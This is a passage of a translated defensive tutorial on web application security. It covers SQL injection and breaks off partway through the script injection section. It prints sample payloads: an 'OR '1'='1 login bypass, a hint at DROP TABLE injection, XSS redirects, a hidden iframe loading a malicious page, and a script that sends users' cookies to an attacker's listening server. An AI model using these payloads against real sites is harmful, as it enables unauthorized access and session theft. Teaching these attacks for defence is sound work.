BS program code and security and basic attack/Defense mode

1. Introduction

1.1. Document Description:

1.2. Document organization:

2. Text

2.1. SQL Injection

2.1.1. Attack Mode:

2.1.2. Defense methods:

2.2. Script Injection

2.2.1. Attack Mode

2.2.2. Defense methods

2.3. Cross-Site attack

2.3.1. Attack Mode

2.3.2. Defense methods

2.4. shell upload

2.4.1. Attack Mode

2.4.2. Defense methods

2.5. Blasting

2.5.1. Attack Mode

2.5.2. Defense methods

3. Conclusion








1. Introduction

1.1. Document Description:

This document mainly describes security considerations in BS programs. Common attack modes, as well as the coding precautions recommended by technicians to defend against these different attack methods.

This document mainly includes my personal understanding of Internet security issues. You are welcome to correct and supplement these questions.

Note: The codes in this document are pseudocodes.

1.2. Document organization:

This document is classified by attack mode. Each attack mode has two topics:

(1) attack mode details

(2) defense methods and Suggestions

The attack mode details section describes as many cases as possible, which is easy to understand. In fact, the Defense mode is generally only effective on the premise of understanding the attack mode.

2. Text

2.1. SQL Injection

2.1.1. Attack Mode:

The cause of SQL injection is mainly because the SQL statements provided to DB are generated by string assembly.

The pages that most often suffer from SQL injection are usually logged on by administrators/users. This vulnerability may occur if the encoding is incorrect, whether it is asp or jsp.

The following example describes the causes of SQL injection.

Suppose we have a JSP page login. jsp, which is used to collect the username and password entered by the Administrator. The user clicks the button to submit the collected user name and password to the specified control component (Struts: Action, or Servlet ). in this component, call chekLogin (String userName, String passWord) for login verification to assemble the SQL String from the user name and passWord information collected on the page for the lower layers of DAO, to read data from the database administrator record table. If a matching record is found in the table, the verification is successful and the corresponding administrator entity class is returned. Otherwise, Null indicates that the logon verification fails.

This is a very simple logic module, as shown in:

The key to this logic-generated injection vulnerability lies in the checkAdminLogin method. In this method, we encode: public Admin checkAdminLogin (String userName, String password ){

// Assemble the SQL String strSQL = "SELECT * FROM TD_ADMIN AS A WHERE. USERNAME = '"+ userName +"' and. PASSWORD = '"+ password + "'";

// Submit the SQL statement to the database through DAO to obtain the query result.

This method of generating SQL, I remember that when I first came into contact with database programming, there were many examples of books written in this way. At first glance, there was no problem, however, as there is no comprehensive consideration for possible input, an injection vulnerability occurs. If someone tries to launch a malicious attack here, he can enter 123 in the login name input box (in fact, other values are also acceptable) in the password input box, enter 'OR '1' = '1

Therefore, because our SQL statements are spelled out, the final SQL statement submitted to the database is: SELECT * FROM TD_ADMIN AS A WHERE. USERNAME = '000000' and. PASSWORD = ''OR '1' = '1'

Obviously, this SQL statement is successful because it is followed by permanent conditions. Then, whether the login is an administrator OR '1' = '1, he will be able to log on to the system.

What's more, I can enter the database SQL annotator in the input box, and then enter the operations that I want the database to perform, such as DROP SOMETABLE. Therefore, the hazards caused by injection are extremely high.

The root cause of the SQL injection vulnerability is that due to our improper coding, users can use input to change the logic to be executed, or even enter new logic. However, the more serious and obvious code security problems, the easier it is to fix them.

2.1.2. Defense methods:

A: Add verification (or character filtering)

When searching for questions about SQL Injection Protection on the Internet, there are many answers to this question: verifying or filtering input strings, or even providing string filtering code. This solution points out that the cause of SQL injection is that attackers enter special characters in the input box, such as single quotes, database-specific annotations, or semicolons that execute separators.

So can we verify at the control layer to prevent users from entering these symbols, or escape these symbols to prevent SQL injection?

On the surface, it seems yes, because in the control layer, if you try to enter 'OR '1' = '1, you will receive a message similar to "do not allow single quotation marks", and the system rejects this execution.

However, such a defense scheme has major defects:

First, the input verification should be linked to the specific logic, rather than relying on Anti-injection in security protection. The verification of user name and password is different from that of news content. For example, you can enter single quotation marks when searching news by content, because the news content itself can contain single quotation marks. Therefore, input verification cannot fundamentally solve the problem. The result of an oversight will be a full loss.

Second: the solution is not really an understanding of SQL injection, and the problem of SQL injection is not caused by invalid characters. This is just the representation. The real reason for SQL injection is that the system cannot strictly control the separation between Program Logic and input parameters, the system has a vulnerability that allows users to change their input (which should be a parameter) into a part of the program logic.

B: Control and parameter Separation

Suppose we provide an interface with a parameter. The parameter entered by the user determines the code execution sequence below. Then you can use this interface to command the system to do anything. In fact, SQL injection is the cause.
The most fundamental cause of this problem is that the system should be able to clearly define what is logic and what is a parameter.

Therefore, the most fundamental solution to SQL injection is to use the Template mode.

As shown in:

User input will exist as a Business Object parameter. However, no matter what the user inputs. Cannot be separated from the Templete (logical template) set by the programmer ). Finally, Templete + Parameters will determine the specific execution of the program.

In Java, the implementation of this mode includes the PreparedStatment or NamingQuery technology. For more information, see related documents. Since they implement the separation of parameters and logic, SQL injection is fundamentally eliminated.

The use of PreparedStatement has other advantages. In addition to security considerations, the database compilation feature also improves the performance.

2.2. Script Injection

2.2.1. Attack Mode

The script mentioned here usually refers to JavaScript scripts. Although JavaScript runs on the client and has security sandbox protection, it is very dangerous to let malicious JavaScript scripts go.

Script Injection is also a low-tech attack method. Attackers need to be familiar with JavaScript scripts and Dom models. If Ajax technology is used, it is even more powerful. If you understand these two technologies, you can search for your target on the Internet.

If a website does not properly validate or filter the input and does not properly format the output, this vulnerability exists. Here is an example:

We have a news site. Each news page allows a viewer to comment. Comments submitted by the viewer are stored in a special table in the data base and displayed below the news.

This logic is normal and there is no problem. However, it is a pity that the developer did not perform any input validation on the backend except for the character length. Therefore, the Comment input on this site will give the bad guys a chance.

Suppose we enter the following content in the comment:

<Script language = "javascript"> alert ("Haha, silly, there is a script injection vulnerability in this place."); </script>

This statement will be stored in the database comment table. In the future, a message box will pop up when each Viewer opens the news page. Attackers are very kind and have not done too much damage.

However, if you enter:

<Script language = "javascript"> window. location. href = "www.baidu.com"; </script>

Then, the news page will be directed to the baidu page.

If the target page is not baidu, It is a page with malicious code. The machine of Each browser may be poisoned.

The attacker injecting the above script is not smart enough or just wants to give a good reminder. Because they inject things too easily to be noticed.

We have other ways to hide our jobs. After all, developers and maintenance personnel cannot review the comments one by one.

We inject:

Haowen! Top

<Iframe src = "virus-infected page" width = "0" height = "0"> </iframe>

Then there will be no abnormalities on the news page. However, the browser may be quietly downloading the virus.

The popularity of Web makes the page more effective and also improves the attack capability of script injection.

I once learned about this attack mode:

Attackers have prepared a server to accept Ajax-submitted requests. Attackers usually have their own servers (usually bots) and deploy appropriate code on them.

On the target site, inject the following code into the page with an injection point:

I am here too!

<Script language = "javascript"> var strTargetMessage = window. cockie;

AjaxSend ("server listening point for hackers", strTargetMessage); </javascript>

Very simple code, and extremely difficult to find.

In this way, the cockie information of each publisher when accessing this page